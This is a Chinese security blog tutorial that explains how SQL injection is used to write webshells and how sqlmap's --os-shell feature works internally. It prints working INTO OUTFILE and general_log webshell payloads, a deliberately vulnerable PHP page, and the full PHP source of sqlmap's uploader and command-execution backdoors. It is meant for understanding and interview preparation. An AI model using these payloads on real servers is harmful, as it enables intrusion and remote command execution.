点击蓝字
关注我们
声明
本文作者:Gality
本文字数:5000
阅读时长:30min
附件/链接:点击查看原文下载
声明:请勿用作违法用途,否则后果自负
本文属于WgpSec原创奖励计划,未经许可禁止转载
前言
最近跟一些同伴分享面试经验时发现,在面那些出名的安全厂商时,面试官很喜欢问os-shell相关的原理,网上的分析杂七杂八,大多是相互抄袭,作者并没有真正去实践这些技术,也缺少对sqlmap源码和其底层原理的分析,希望能通过我的分析,让大家对sql注入写shell相关的原理有透彻的了解
写入Shell的前提
在以下条件满足的情况下,我们可以直接利用sql注入的漏洞来获得一个shell,便于我们后续的攻击:
root权限,需要写文件的权限
select group_concat(user,0x3a,file_priv) from mysql.user;
出现Y,这就代表你有文件权限,N就是没有
-
知道网站的绝对路径
-
文件不能覆盖写入,所以文件必须为不存在
-
PHP的GPC关闭,能使用单双引号(需要单引号路径,不能使用0x编码)
-
–secure-file-priv没有值
show global variables like '%secure_file_priv%';
查看secure-file-priv
对于大多数sql注入的写Shell方式而言,网站的绝对的路径都是需要知道的,这里需要知道的原因绝不是因为outfile相对路径无法写shell,而是因为
-
不知道路径,你的菜刀无法连接
-
通过相对路径的方式写出来的shell大概率是无法执行的,或者是权限不够写
但如果扩展思路,如果配合任意文件包含的话,我们就可以尝试使用默认的mysql安装路径去包含这个文件执行
–secure-file-priv是mysql5.7+的新参数,用于限制LOAD DATA, SELECT …OUTFILE, LOAD_FILE()传到哪个指定目录
secure_file_priv 为 NULL 时,表示限制mysqld不允许导入或导出。
secure_file_priv 为 /tmp 时,表示限制mysqld只能在/tmp目录中执行导入导出,其他目录不能执行。
secure_file_priv 没有值时,表示不限制mysqld在任意目录的导入导出。
因为 secure_file_priv 参数是只读参数,不能使用set global命令修改,需要在my.cnf 或 my.ini,加入
secure_file_priv=''
后重启mysql
magic_quotes_gpc:
为 GPC (Get/Post/Cookie) 操作设置 magic_quotes 状态。当 magic_quotes 为 on,所有的 ' (单引号)、" (双引号)、(反斜杠)和 NUL's 被一个反斜杠自动转义
该特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除
常规写shell方法
联合查询写shell
当可以使用联合查询时,通过构造类似:
1' union select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'#
或者
1' union select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'#
来将shell写入到test.php中,关于outfile和dumpfile的区别,稍微说一下,官方给的解释是:
-
outfile函数可以导出多行,而dumpfile只能导出一行数据
-
outfile函数在将数据写到文件里时有特殊的格式转换,而dumpfile则保持原数据格式
从上图中我们可以清晰的看到,
在使用outfile时,文件中一行的末尾会自动换行,且可以导出全部数据,同时如果文本中存在n等字符,会自动转义成\n,也就是会多加一个
而使用dumpfile时,一行的末尾不会换行且只能导出部分数据(这里比较数据比较少,没有体现出来),但dumpfile不会自动对文件内容进行转义,而是原意写入,这就是为什么我们平时UDF提权时使用dumpfile来写入的原因
还有一点需要注意:outfile后面不能接0x开头或者char转换以后的路径,只能是单引号路径,但是值的部分可以时16进制
outfile拓展写shell
官方文档中指出:可以使用如下参数对outfile的格式进行调整
其中 FIELDS ESCAPED BY
可以用来对指定的字符进行转义, FIELDS [OPTIONALLY] ENCLOSED BY
用来对字段值进行包裹
在实际注入中用的比较多的是如下的方法:
-
FIELDS TERMINATED BY
和COLUMNS terminated by
指定每一项数据之间的分隔符
SELECT 1,2 into outfile './12.php' fields terminated by 0x3c3f70687020706870696e666f28293b3f3e
或
SELECT 1,2 into outfile './12.php' COLUMNS terminated by 0x3c3f70687020706870696e666f28293b3f3e
既然是在将分隔符替换成shell,那么只有在至少有两个数据项时才会在两个数据项之间写入shell
-
LINES TERMINATED BY
指定行的结尾符SELECT 1 into outfile './12.php' LINES TERMINATED BY 0x3c3f70687020706870696e666f28293b3f3e
-
有数据项即可,outfile会在文件结尾自动添加指定的行结尾符
LINES STARTING BY
指定行开始符SELECT 1 into outfile './12.php' LINES STARTING BY 0x3c3f70687020706870696e666f28293b3f3e
-
同样是有数据项即可,outfile会自动在数据开头添加指定的字段
上述说的这种方法也正是sqlmap使用的方法,我们后文会继续分析
堆注入写shell
原生的php方法是不支持的,得使用使用 PDO,mysqli_multi_query()才可能存在堆注入
堆注入主要是利用到了mysql的日志来进行写shell,构造类似如下语句:
set global general_log = "ON";set global general_log_file='C:/wamp64/www/ma.php';select '<?php eval($_POST[cmd]);?>';
然后用菜刀连接即可
补充:
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。使用SHOW VARIABLES LIKE 'general%'
命令来查看默认的log位置,实际渗透中建议将该值保存下来,便于利用结束时将该字段还原
如果数据库使用了phpmyadmin来管理数据库,且存在弱口令,我们也可以使用这种方法来通过phpmyadmin来执行上述命令达到写shell的目的
sqlmap的os-shell获得shell
终于来到了本章的重点,先从源码角度分析一下sqlmap是怎么实现写shell的.
有关os-shell的处理函数被定义在plugins/generic/takeover.py中,我们挑关键代码来说:
def osShell(self):
if isStackingAvailable() or conf.direct:
web = False
elif not isStackingAvailable() and Backend.isDbms(DBMS.MYSQL):
infoMsg = "going to use a web backdoor for command prompt"
logger.info(infoMsg)
web = True
......
self.getRemoteTempPath()
try:
self.initEnv(web=web)
except SqlmapFilePathException:
if not web and not conf.direct:
infoMsg = "falling back to web backdoor method..."
logger.info(infoMsg)
web = True
kb.udfFail = True
self.initEnv(web=web)
else:
raise
if not web or (web and self.webBackdoorUrl is not None):
self.shell()
if not conf.osPwn and not conf.cleanup:
self.cleanup(web=web)
首先是isStackingAvailable
函数来判断是否支持堆叠注入,如果允许,该函数返回True,conf.direct
主要是当用户配置了直接连接数据库时会存在数据,为一个字符串,类似于:conf.direct = "mysql://root:[email protected]:3306/testdb"
如果两者都不满足,但是后端数据库是mysql,这时令web=True即后续会使用一个web的shell来进行后续操作,接着就是用getRemoteTempPath来获取后端一个可写的临时目录
def getRemoteTempPath(self):
if not conf.tmpPath and Backend.isDbms(DBMS.MSSQL):
.....
_ = unArrayizeValue(inject.getValue("SELECT SERVERPROPERTY('ErrorLogFileName')", safeCharEncode=False))
if _:
conf.tmpPath = ntpath.dirname(_)
if not conf.tmpPath:
if Backend.isOs(OS.WINDOWS):
if conf.direct:
conf.tmpPath = "%TEMP%"
else:
self.checkDbmsOs(detailed=True)
if Backend.getOsVersion() in ("2000", "NT"):
conf.tmpPath = "C:/WINNT/Temp"
elif Backend.isOs("XP"):
conf.tmpPath = "C:/Documents and Settings/All Users/Application Data/Temp"
else:
conf.tmpPath = "C:/Windows/Temp"
else:
conf.tmpPath = "/tmp"
if re.search(r"A[w]:[/\]+", conf.tmpPath, re.I):
Backend.setOs(OS.WINDOWS)
conf.tmpPath = normalizePath(conf.tmpPath)
conf.tmpPath = ntToPosixSlashes(conf.tmpPath)
singleTimeDebugMessage("going to use '%s' as temporary files directory" % conf.tmpPath)
hashDBWrite(HASHDB_KEYS.CONF_TMP_PATH, conf.tmpPath)
return conf.tmpPath
主要是有如下几种临时路径:
-
如果命令行参数--tmp-path指定了临时目录,就使用命令行配置的
-
sqlserver的错误日志路径:
SELECT SERVERPROPERTY('ErrorLogFileName')
(在SQL Server 2000中测试无效,2005及以后可以) -
如果是windows系统且是直连,临时目录就是
%TEMP%
-
如果是linux+直连,临时目录就是/tmp
-
未配置直连,但是后端为Windows server2000或者NT:
C:/WINNT/Temp
-
未配置直连,但后端为winXP:
C:/Documents and Settings/All Users/Application Data/Temp
-
如果是其他windows系统:
C:/Windows/Temp
然后就是对临时路径字符串做一些处理,包括将变成\等以适应不同的后端数据库
接着就是initEnv函数,该函数的关键代码如下:
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
self._initRunAs()
.......
if web:
self.webInit()
else:
self.checkDbmsOs(detailed)
.....
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
success = True
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
success = self.udfInjectSys()
if success is not True:
msg = "unable to mount the operating system takeover"
raise SqlmapFilePathException(msg)
elif Backend.isDbms(DBMS.MSSQL):
if mandatory:
self.xpCmdshellInit()
else:
errMsg = "feature not yet implemented for the back-end DBMS"
raise SqlmapUnsupportedFeatureException(errMsg)
self.envInitialized = True
该函数完成了环境方面的一些设置,是os-shell的关键,仔细来看下:
_initRunAs
函数只有在配置了--dbms-cred
参数时会生效,主要是在后端为sqlserver时,当用户时DBA权限,提示是否开启openrowset参数,该语句如下:
EXEC master..sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC master..sp_configure 'Ad Hoc Distributed Queries', %ENABLE%;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
RECONFIGURE WITH OVERRIDE
在SQL Server中使用OPENROWSET访问ORACLE数据库,在2005和2008中是默认关闭的
接着就是webInit
这个函数的用途是在远端服务器文档根目录下写一个web后门,支持php,asp,aspx和jsp这4种后门,之后会进行绝对路径的探测,主要是通过parseFilePaths来实现的:
if page:
for regex in FILE_PATH_REGEXES:
for match in re.finditer(regex, page):
absFilePath = match.group("result").strip()
page = page.replace(absFilePath, "")
if isWindowsDriveLetterPath(absFilePath):
absFilePath = posixToNtSlashes(absFilePath)
if absFilePath not in kb.absFilePaths:
kb.absFilePaths.add(absFilePath)
FILE_PATH_REGEXES = (r"<b>(?P<result>[^<>]+?)</b> on line d+", r"bin (?P<result>[^<>'"]+?)['"]? on line d+", r"(?:[>(展开收缩)(?P<result>[A-Za-z]:[\/][w. \/-]*)", r"(?:[>(展开收缩)(?P<result>/w[/w.~-]+)", r"bhref=['"]file://(?P<result>/[^'"]+)", r"bin <b>(?P<result>[^<]+): line d+")
也是通过正则去匹配页面内容
getManualDirectories()
也会返回一些常见的目录
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webPlatform)
backdoorContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoors", "backdoor.%s_" % self.webPlatform)))
stagerContent = getText(decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "stagers", "stager.%s_" % self.webPlatform)))
这两行定义了后门的名字,shell的内容从/data/shell中获取,shell的内容都是加了密的.
接着看上传用的语句:
OR randInt=randInt LIMIT 0,1 INTO OUTFILE '%OUTFILE%' LINES TERMINATED BY 0x%HEXSTRING%-- -
然后请求相应存在注入点的页面并将页面返回,如果这种方法失败,就会尝试使用联合注入的方式进行上传sqlQuery = "%s INTO DUMPFILE '%s'" % (fcEncodedStr, remoteFile)
使用的是into dumpfile的方式
后续通过上传的文件进一步上传一个exe文件
_ = "tmpe%s.exe" % randomStr(lowercase=True)
if self.webUpload(backdoorName, backdoorDirectory, content=backdoorContent.replace(SHELL_WRITABLE_DIR_TAG, backdoorDirectory).replace(SHELL_RUNCMD_EXE_TAG, _)):
self.webUpload(_, backdoorDirectory, filepath=os.path.join(paths.SQLMAP_EXTRAS_PATH, "runcmd", "runcmd.exe_"))
self.webBackdoorUrl = "%s/Scripts/%s" % (self.webBaseUrl, backdoorName)
self.webDirectory = backdoorDirectory
最后执行一个echo命令,看是否成功上传.
当所有命令完成后,清除上传的所有文件,将所有数据库改动还原
这么说有些抽象,我们抓个包来具体看一下整个流程:
首先是写个简单的带有漏洞的PHP文件:
<?php
$id= $_GET['x'];
$conn = mysql_connect('127.0.0.1','root','123456');
mysql_select_db('user',$conn);
$sql = "select * from user where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "ID".$row['id']."</br>";
echo "用户名".$row['username']."</br>";
echo "密码".$row['password']."</br>";
}
mysql_close($conn);
echo "<hr>";
echo "当前语句:";
echo $sql
?>
将secure_file_priv设置为空且赋予相应文件可写权限,开始状态下网站根目录只有index.php:
sqlmap操作截图如下:
当返回os-shell时目录中多了以下两个文件:
Tmpuxneq.php
1 admin admin<?php
if (isset($_REQUEST["upload"])){$dir=$_REQUEST["uploadDir"];if (phpversion()<'4.1.0'){$file=$HTTP_POST_FILES["file"]["name"];@move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"],$dir."/".$file) or die();}else{$file=$_FILES["file"]["name"];@move_uploaded_file($_FILES["file"]["tmp_name"],$dir."/".$file) or die();}@chmod($dir."/".$file,0755);echo "File uploaded";}else {echo "<form action=".$_SERVER["PHP_SELF"]." method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=C:\Users\Gality\Desktop\phpstudy\PHPTutorial\WWW\> <input type=submit name=upload value=upload></form>";}?>
Tmpbzswz.php
<?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);@ini_set("max_execution_time",0);$z=@ini_get("disable_functions");if(!empty($z)){$z=preg_replace("/[, ]+/",',',$z);$z=explode(',',$z);$z=array_map("trim",$z);}else{$z=array();}$c=$c." 2>&1n";function f($n){global $z;return is_callable($n)and!in_array($n,$z);}if(f("system")){ob_start();system($c);$w=ob_get_clean();}elseif(f("proc_open")){$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}elseif(f("shell_exec")){$w=shell_exec($c);}elseif(f("passthru")){ob_start();passthru($c);$w=ob_get_clean();}elseif(f("popen")){$x=popen($c,r);$w=NULL;if(is_resource($x)){while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f("exec")){$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}echo"<pre>$w</pre>";?>
然后,我们追一下流量,看一下具体过程:
有几点可以看出来:
-
默认的UA头是sqlmap自己的
-
使用的是limit into outfile ..... lines terminated by的方式写的16进制shell
-
我们把16进制转换一下得到:
-
这是一个上传页面,与Tmpuxneq.php中内容一致.
然后就是逐级往外走试探目录的过程
利用上传功能传一个webshell
接着就是用上传的shell执行命令了:
并在shell结束时发送将两个上传的文件删除的命令
至此,os-shell的完整分析就结束了,更多后续文章可以在平台看到
扫描关注公众号回复加群
和师傅们一起讨论研究~
长
按
关
注
WgpSec狼组安全团队
微信号:wgpsec
Twitter:@wgpsec
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论